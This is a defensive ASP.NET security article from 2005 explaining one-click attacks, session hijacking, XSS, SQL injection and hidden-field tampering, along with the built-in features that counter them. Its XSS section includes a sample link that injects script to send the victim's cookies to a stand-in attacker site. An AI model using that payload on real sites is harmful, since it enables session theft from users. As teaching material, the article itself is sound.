Dino Esposito
Wintellect
January 2005
Applies to
Microsoft ASP.NET 1.x
Microsoft ASP.NET 2.0
Summary: Dino summarizes the most common types of Web attacks and describes how Web developers can use built-in features of ASP.NET to increase security. (13 printed pages)
What ASP.NET Developers Should Always Do
Where the Threats Come From
ViewStateUserKey
Cookies and Authentication
Session Hijacking
EnableViewStateMac
ValidateRequest
Database Perspective
Hidden Fields
E-mails and Spam
Summary
Related Resources
If you're reading this article, you probably don't need to be lectured about the growing importance of security in Web applications. You're likely looking for some practical advice on how to implement security in ASP.NET applications. The bad news is that no development platform—including ASP.NET—can guarantee you'll be writing 100-percent secure code once you adopt it—who tells that, just lies. The good news, as far as ASP.NET is concerned, is that ASP.NET, especially version 1.1 and the coming version 2.0, integrates a number of built-in defensive barriers, ready to use.
The application of all these features alone is not sufficient to protect a Web application against all possible and foreseeable attacks. However, combined with other defensive techniques and security strategies, the built-in ASP.NET features form a powerful toolkit to help ensure that applications operate in a secure environment.
Web security is the sum of various factors and the result of a strategy that goes well beyond the boundaries of the individual application to involve database administration, network configuration, and also social engineering and phishing.
The goal of this article is to illustrate what ASP.NET developers should always do in order to keep the security bar reasonably high. That's what security is mostly about—keep the guard up, never feel entirely secure, and make it harder and harder for the bad guys to hack.
Let's see what ASP.NET has to offer to simplify the job.
In Table 1, I've summarized the most common types of Web attacks and flaws in the application that can make them succeed.
Attack | Made possible by . . . |
---|---|
Cross-site scripting (XSS) | Untrusted user input echoed to the page |
SQL injection | Concatenation of user input to form SQL commands |
Session hijacking | Session ID guessing and stolen session ID cookies |
One-click | Unaware HTTP posts sent via script |
Hidden field tampering | Unchecked (and trusted) hidden field stuffed with sensitive data |
Table 1. Common Web attacks
What are the key facts that emerge from the list? At least the following three, I'd say:
It is interesting to note that the three points above address three distinct aspects of Web security, the combination of which is the only reasonable way to build a bulletproof and tamper-resistant application. The facets of Web security can be summarized as follows:
As you can see, a secure application can result only from the combined efforts of developers, architects, and administrators. Don't assume you can get it right otherwise.
When writing ASP.NET applications you're not left on your own to fight against the army of hackers, armed only with your brains, skills, and fingers to type lines of code. ASP.NET 1.1 and later helps with a few specific features that raise automatic barriers against some of the threats listed above. Let's review them in detail.
Introduced with ASP.NET 1.1, ViewStateUserKey is a string property on the Page class that only few developers admit to be familiar with. Why? Let's read what the documentation has to say about it.
Assigns an identifier to an individual user in the view state variable associated with the current page
In spite of the convoluted style, the sentence is fairly clear; but can you honestly say it explains the intended purpose of the property? To understand the role of ViewStateUserKey, you need to read a little further, until you arrive at the Remarks section.
The property helps you prevent one-click attacks by providing additional input to create the hash value that defends the view state against tampering. In other words, ViewStateUserKey makes it much harder for hackers to use the content of the client-side view state to prepare malicious posts against the site. The property can be assigned any non-empty string, preferably the session ID or the user's ID. To better understand the importance of this property, let's briefly review the basics of the one-click attack.
A one-click attack consists in posting a malicious HTTP form to a known, vulnerable Web site. It is called "one-click" because it usually begins with an unaware victim clicking on an alluring link received through e-mail or found when navigating a crowded forum. By following the link, the user inadvertently triggers a remote process that ends up submitting the malicious <form> to a site. Be honest: can you say you never followed a link like Click here to win $1,000,000 just to see what happens? Apparently, nothing bad happened to you. Let's assume this is correct; can you say the same for all the rest of the Web community? Who knows.
To be successful, a one-click attack requires certain background conditions:
As mentioned, the attack consists in submitting a malicious HTTP form to a page that expects a form. Reasonably, this page will be consuming posted data to perform some sensitive operation. Reasonably, the attacker knows exactly how each field will be used and can come up with some spoofed values to reach his goal. It's usually a targeted attack, and it is also hard to track back because of the triangular trade that it establishes—the hacker induces a victim to click a link on the hacker's site, which in turn will post the bad code to a third site. (See Figure 1.)
Figure 1. The one-click attack
Why an unsuspecting victim? Because, in this way server logs show that the IP address where the bad request originated is the victim's IP address! As mentioned, this attack is not as common (and easy to arrange) as a "classic" XSS; however, its nature makes it potentially devastating. What's the cure for it? Let's review the mechanics of the attack in the ASP.NET context.
Unless the action is coded in the Page_Load event, there's no way an ASP.NET page can execute sensitive code outside a postback event. For a postback event to take place, the view state field is mandatory. Bear in mind that ASP.NET checks the postback state of a request and sets IsPostBack accordingly, based on the presence of the _VIEWSTATE input field. So whoever wants to send a bogus request to an ASP.NET page must necessarily provide a valid view state field.
For the one-click attack to work, the hacker must have had access to the page. When this happened, the far-sighted hacker saved the page locally. So now he/she can access the _VIEWSTATE field and use that to create a request with the old view state and malicious values in other fields. The question is, will this work?
Why not? If the attacker can provide a valid authentication cookie, the hacker gets in and the request is regularly processed. The view state contents is not checked at all on the server (when EnableViewStataMac is off), or is only checked against tampering. By default, there's nothing in the view state that ties that content to a particular user. The attacker can easily reuse the view state obtained making legal access to the page to build a bogus request on behalf of another user. That's where ViewStateUserKey fits in.
If accurately chosen, the property adds user-specific information to the view state. When the request is processed, ASP.NET extracts the key from the view state and compares it against the ViewStateUserKey of the running page. If the two match, the request is considered legitimate; otherwise an exception is thrown. What's a valid value for the property?
Setting ViewStateUserKey to a constant string—the same for all users—is like leaving it blank. You must set it to something that varies for each user—user ID or, better yet, session ID. For a number of technical and social reasons, session ID is a much better fit because a session ID is unpredictable, times out, and varies on a per-user basis.
Here's the code you need to have in all of your pages:
void Page_Init (object sender, EventArgs e) { ViewStateUserKey = Session.SessionID; : }
To avoid writing this over and over again, you can bolt it in the OnInit virtual method of the Page-derived class. (Note that you must set this property in the Page.Init event.)
protected override OnInit(EventArgs e) { base.OnInit(e); ViewStateUserKey = Session.SessionID; }
Overall, using a base page class is always a good thing, as I explain in my article, Build Your ASP.NET Pages on a Richer Bedrock. An excellent article to learn more about the tactics of one-click attackers can be found on aspnetpro.com.
Cookies exist because they can help developers to achieve results. Cookies operate as a sort of persistent link between browser and server. Especially for applications using single sign-on, a stolen cookie is just what makes the attack possible. This is certainly the case with one-click attacks.
To use cookies, you don't have to explicitly create and read them programmatically. You implicitly use cookies if you use session state and if you implement forms authentication. Sure, ASP.NET supports cookieless session state and ASP.NET 2.0 also introduces cookieless forms authentication. So you could in theory use those functionalities without using cookies. I'm not saying you don't have to, but this is just one of the cases in which the remedy can be even worse than the disease. Cookieless sessions, in fact, embed the session ID in the URL making it visible to everybody.
What are the potential problems connected to the use of cookies? Cookies can be stolen (that is, copied to the hacker's machine) and poisoned (that is, filled with malicious data). These actions are often the prelude to an incoming attack. If stolen, authentication cookies "authorize" external users to connect to the application (and use protected pages) on behalf of you, potentially enabling hackers to happily bypass authorization and themselves do whatever roles and security settings allow the victim to do. For this reason, authentication cookies are normally given a relatively short lifetime—30 minutes. (Note that the cookie expires even if the browser's session takes longer to complete.) In case of theft, hackers have a 30-minute window to try the attack.
This window can be enlarged to save users from having to log on too frequently; be aware that you do this at your own peril. In any case, avoid using ASP.NET persistent cookies. That would make the lifetime of the cookie virtually perennial, as long as 50 years! The following code snippet shows how to modify the expiration of the cookie at leisure.
void OnLogin(object sender, EventArgs e) { // Check credentials if (ValidateUser(user, pswd)) { // Set the cookie's expiration date HttpCookie cookie; cookie = FormsAuthentication.GetAuthCookie(user, isPersistent); if (isPersistent) cookie.Expires = DateTime.Now.AddDays(10); // Add the cookie to the response Response.Cookies.Add(cookie); // Redirect string targetUrl; targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent); Response.Redirect(targetUrl); } }
You might want to use this code in your own login forms to fine-tune the lifetime of authentication cookies.
Cookies are also used to retrieve the session state for a particular user. The ID of the session is stored to a cookie that travels back and forth with the request and is stored on the browser's machine. Again, if stolen the session cookie can be used to get a hacker into the system and access someone else's session state. Needless to say, this can happen as long as the specified session is active—usually, no more than 20 minutes. An attack conducted through a spoofed session state is known as session hijacking. For more details on session hijacking, read Theft On The Web: Prevent Session Hijacking.
How dangerous can this attack be? Hard to say. It depends on what the Web site does and, more importantly, how its pages are designed. For example, imagine you've been able to get someone else's session cookie and attach it to a request to a page on the site. You load the page and work through its ordinary user interface. There's no code you can inject in the page and nothing in the page that you can alter, except that the page now works using the session state of another user. This is not bad per se, but may lead hackers straight to a successful exploit as long as the information in the session is sensitive and critical. Look, the hacker can't snoop into the content of the session store, but what's stored in it is used as if the hacker legitimately entered it. For example, imagine an e-commerce application where users add items to a shopping cart as they navigate through the site.
The design of the application's page is key to preventing session hijacking attacks. Two points remains open, though. The first is, what can you do to prevent cookie theft? The second is, what can ASP.NET do to detect and block hijacking?
The ASP.NET session cookie is extremely simple and is limited to contain the sole session ID string. The ASP.NET runtime extracts the session ID from the cookie and checks it against the active sessions. If the ID is valid, ASP.NET connects to the corresponding session and continues. This behavior greatly simplifies life for hackers who have stolen, or can guess, a valid session ID.
XSS and man-in-the-middle attacks, as well as brute access to a client PC, are all ways to get a valid cookie. To prevent thefts, you should implement security best practices to prevent XSS, and all of its variations, from succeeding.
To prevent session ID guessing, instead, you should simply avoid overrating your skills. Guessing a session ID means that you know a way to predict a valid session ID string. Given the algorithm used by ASP.NET (15 random numbers mapped to URL-enabled characters), your chance to guess a valid ID by chance approaches zero. There's no reason I can think of to replace the default session ID generator with your own. In many cases, you only make life easier for attackers.
What's worse about session hijacking is that once a cookie has been stolen or guessed there's not much ASP.NET can do to detect the fraudulent use of the cookie. Again, the reason is that ASP.NET limits itself to checking the validity of the ID and questions the place of origin of the cookie.
My Wintellect pal Jeff Prosise wrote an excellent article on session hijacking for MSDN Magazine. His conclusions offer little comfort—it's virtually impossible to build a foolproof defense against attacks that rely on stolen session ID cookies—but the code he developed offers a smart tip to raise the security bar even higher. Jeff created a HTTP module that monitors incoming requests and outgoing responses for session ID cookies. The module appends a hash code to outgoing session IDs that would make it harder for the attacker to reuse that cookie. You can read details here.
The view state is used to persist the state of controls across two successive requests for the same page. By default, the view state is Base64-encoded and signed with a hash value to prevent tampering. Unless you change default page settings, the view state is not at risk of tampering. If an attacker modifies the view state, or even if he/she rebuilds the view state using the right algorithm, ASP.NET catches the attempt and throws an exception. A tampered view state is not necessarily harmful—it modifies the state of server controls, though—but can become the vehicle of serious infections. For this reason, it is of extreme importance that you do not remove the machine authentication code (MAC) cross-checking that takes place by default. See Figure 2.
Figure 2. What makes the view state inherently tamper-resistant when EnableViewStateMac is enabled
When MAC checking is enabled (which is the default), the serialized view state is appended a hash value that results from some server-side values and the view state user key, if any. When the view state is posted back, the hash value is computed again using fresh server-side values and compared to the stored value. If the two match, the request is allowed; otherwise, an exception is thrown. Even assuming the hacker has the skills to crack and rebuild the view state, he/she needs to know server-stored values to come up with a valid hash. Specifically, the hacker needs to know the machine key referenced in the <machineKey> entry of machine.config.
By default, the <machineKey> entry is autogenerated and physically stored in the Windows Local Security Authority (LSA). Only in case of Web farms—when the view state's machine keys must be the same on all machines—should you specify it as clear text in the machine.config file.
View state MAC checking is controlled through a @Page directive attribute named EnableViewStateMac. As mentioned, it is set to true by default. Never ever disable it; it would make view state tampering one-click attacks possible and with great chances of success.
Cross-site scripting (XSS) is an old-acquaintance for many seasoned Web developers—it's around since 1999 or so. Simply put, XSS exploits holes in the code to introduce a hacker's executable code into another user's browser session. Executed, the injected code can perform a variety of actions—grab cookies and upload a copy to a hacker's controlled Web site, monitor the user's Web session and forward data, modify the behavior and appearance of the hacked page giving incorrect information, even make itself persistent, so that the next time the user returns to the page, the fraudulent code runs again. Read in more detail about the basics of a XSS attack in the TechNet article Cross-site Scripting Overview.
What loopholes in the code make XSS attacks possible?
XSS exploits Web applications that dynamically generate HTML pages and don't validate the input echoed to the page. Input here means the contents of query strings, cookies, and form fields. If this content goes online without proper sanity checks, there's the risk that hackers can manipulate it to execute malicious script in client browsers. (After all, the aforementioned one-click attack is a recent variation of XSS.) A typical XSS attack entails that the unsuspecting user follows a luring link that embeds escaped script code. The fraudulent code is sent to a vulnerable page that trustfully outputs it. Here's an example of what can happen:
<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name= <script>document.location.replace( 'http://www.hackersite.com/HackerPage.aspx? Cookie=' + document.cookie); </script>">Click to claim your prize</a>
The user clicks on an apparently safe link and ends up passing to a vulnerable page a piece of script code that first gets all the cookies on the user's machine and then sends them to a page on the hacker's Web site.
It is important to note that XSS is not a vendor-specific issue and doesn't necessarily exploit holes in Internet Explorer. It affects every Web server and browser currently on the market. Even more important, note that there's no single patch to fix it. You can surely protect your pages from XSS, you do so by applying specific measures and sane coding practices. In addition, be aware that the attacker doesn't need the user to click a link in order to start the attack.
To defend against XSS, you must primarily determine which input is valid and reject all the rest. A detailed checklist for foiling XSS attacks can be found in the book that is a required reading at Microsoft—Writing Secure Code by Michael Howard and David LeBlanc. In particular, I suggest you take a careful look at Chapter 13.
The primary way to thwart insidious XSS attacks is to add a well-done and solid validation layer to your input—any type of input data. For example, there are circumstances in which even an otherwise innocuous color—a RGB triplet—can bring uncontrolled script straight to the page.
In ASP.NET 1.1, when turned on, the ValidateRequest attribute on the @Page directive checks that users are not sending potentially dangerous HTML markup in query strings, cookies, or form fields. If that is detected, an exception is thrown and the request aborts. The attribute is on by default; you don't have to do anything to be protected. If you want to allow HTML markup to pass, then you must actively disable it.
<%@ Page ValidateRequest="false" %>
ValidateRequest is not the silver bullet and can't replace an effective validation layer. Read here to get a lot of valuable information on how the feature really works under the hood. It basically applies a regular expression to catch a few potentially harmful sequences.
Note The ValidateRequest feature was originally flawed; you need to apply a patch for it to work as expected. This is valuable information that has often passed unnoticed. Strangely enough, I myself found one of my machines still affected by the flaw. Check it out!
There's no reason for not keeping ValidateRequest on. You can disable it, but you must have a very good reason; one of which could be the user requirement of being able to post some HTML to the site for gaining better formatting options. In this case, you should limit the number of allowed HTML tags (<pre>, <b>, <i>, <p>, <br>, <hr>) and write a regular expression that ensures that nothing else is allowed or accepted.
Here are a few more tips that help protect ASP.NET applications from XSS:
In summary, use, but do not fully trust, the ValidateRequest attribute and don't be too lazy. Spend some time to understand security threats like XSS at their roots and plan a defensive strategy centered on one key point—consider all user input evil.
SQL injection is another well-known type of attack that exploits applications that use unfiltered user input to form database commands. If the application blissfully uses what the user types in a form field to create a SQL command string, it exposes you to the risk that a malicious user may simply access the page and enter fraudulent parameters to modify the nature of the query. You can learn more about SQL injection here.
There are many ways in which you can thwart a SQL injection attack. Here are the most common techniques.
If you use stored procedure you significantly reduce the attack surface. With stored procedures, in fact, you don't need to compose SQL strings dynamically. In addition, any parameters are validated in SQL Server against the specified types. While this alone isn't a 100-percent secure technique, combined with validation it will make you more secure.
It is even more important to ensure that only authorized users perform potentially devastating operations like dropping tables. This requires a careful design of the middle-tier of the application. A good technique, and not just because of security, is to focus on roles. You group users in roles and define an account for each role with the least set of permissions.
A few weeks ago, the Wintellect Web site was under attack through a sophisticated form of SQL injection. The hacker attempted to create and launch an FTP script to download a (malicious?) executable. It was our good luck that the attack failed. Or was it rather strong input validation, use of stored procedures, and use of SQL Server permissions that prevented the attack from working?
To summarize, follow these guidelines to avoid unwanted injections of SQL code:
In classic ASP, hidden fields are the only way to persist data between requests. Any data you need to retrieve on the next request is packed into a hidden <input> field and round-tripped. What if on the client someone modifies the values stored in the field? The server-side environment has no way to figure it out so long as the text is clear. The ASP.NET ViewState property for pages and individual controls serves two purposes. On the one hand, the ViewState is the means to persist state across requests; on the other hand, the ViewState allows you to store custom values in a protected, tamper-resistant hidden field.
As shown in Figure 2, the view state is appended a hash value that gets checked on each and every request to detect tampering. There's no reason for using hidden fields in ASP.NET except in a few cases. The view state does the same in a much more secure way. Said upfront that storing sensitive values such as prices or credit card details in a clear hidden field is like leaving the door open to hackers, the view state would even make this bad practice less dangerous than before because of its data protection mechanism. However, bear in mind that the view state prevents tampering with but doesn't guarantee confidentiality unless you encrypt it—so credit card details stored in the view state are anyway at risk.
When is it acceptable to use hidden fields in ASP.NET? When you're building custom controls that need to send data back to the server. For example, imagine you create a new DataGrid control that supports column reordering. You need to pass the new order back to the server on postbacks. Where else can you store this information, if not into a hidden field?
If the hidden field is a read/write field—that is, the client is expected to write to it—there's not much you can do that is hacker-proof. You can try to hash or cipher the text, but this wouldn't give you any reasonable certainty of not being hacked. The best defense here is to make the hidden field contain inert and harmless information.
This said, it is worthwhile to note that ASP.NET exposes a little known class that can be used to encode and hash any serialized object. The class is LosFormatter and is the same class used by the ViewState implementation to create the encoded text round-tripped to the client.
private string EncodeText(string text) { StringWriter writer = new StringWriter(); LosFormatter formatter = new LosFormatter(); formatter.Serialize(writer, text); return writer.ToString(); }
The preceding code snippet shows how to use LosFormatter to create view state-like content, encoded and hashed.
To end this article, let me point out that at least two of the most common attacks—classic XSS and one-click—are often conducted by inducing unsuspecting victims to click on alluring and spoofed links. Many times we find such links directly in our inbox, anti-spam filters notwithstanding. Volumes of e-mail addresses can be bought for a few dollars. One of the main techniques used to build such lists is scanning public pages on Web sites looking for, and grabbing, anything that looks like an e-mail address.
If a page displays an e-mail address, the chances are good that sooner or later it will be caught by Web robots. Really? Well, it much depends on how you display the e-mail address. If you hardcode it, you're lost. If you resort to alternative representations such as dino-at-microsoft-dot-com, it's not clear if you really fool a Web robot; for sure, you will irritate any human reading your page who wants to establish a legitimate contact.
Overall, you should figure out a way to dynamically generate the email address as a mailto link. This is exactly what a free component written by Marco Bellinaso does. You can get it with full source code from the DotNet2TheMax Web site.
Does anyone doubt that the Web is probably the most hostile of all runtime environments? It comes from the fact that everybody can access a Web site and try to pass it good and bad data. However, would it really make sense to create a Web application that doesn't accept user input?
So let's face it: no matter how strong your firewall is, and how frequently you apply available patches, if you're running an inherently vulnerable Web application, sooner or later attackers will walk straight to the heart of your systems through the main entrance, namely port 80.
ASP.NET applications are neither more vulnerable nor more secure than other Web applications. Security and vulnerability both derive from coding practices, experience from the field, and teamwork. No application is secure if the network isn't; likewise, no matter how secure and well administered the network is, attackers will always find their way if the application is broken.
The beauty of ASP.NET is that it provides you with a few good tools to raise the security bar to a passable level with a few clicks. It is not a sufficient level, though. Do not rely on ASP.NET built-in solutions alone—but neither should you ignore them. And learn as much as possible about most common attacks.
This article provides an annotated list of built-in features and some background about attacks and defenses. Techniques for detecting ongoing attacks are another story, and perhaps require another article.
Writing Secure Code by Michael Howard and David LeBlanc
TechNet Magazine, Theft On The Web: Prevent Session Hijacking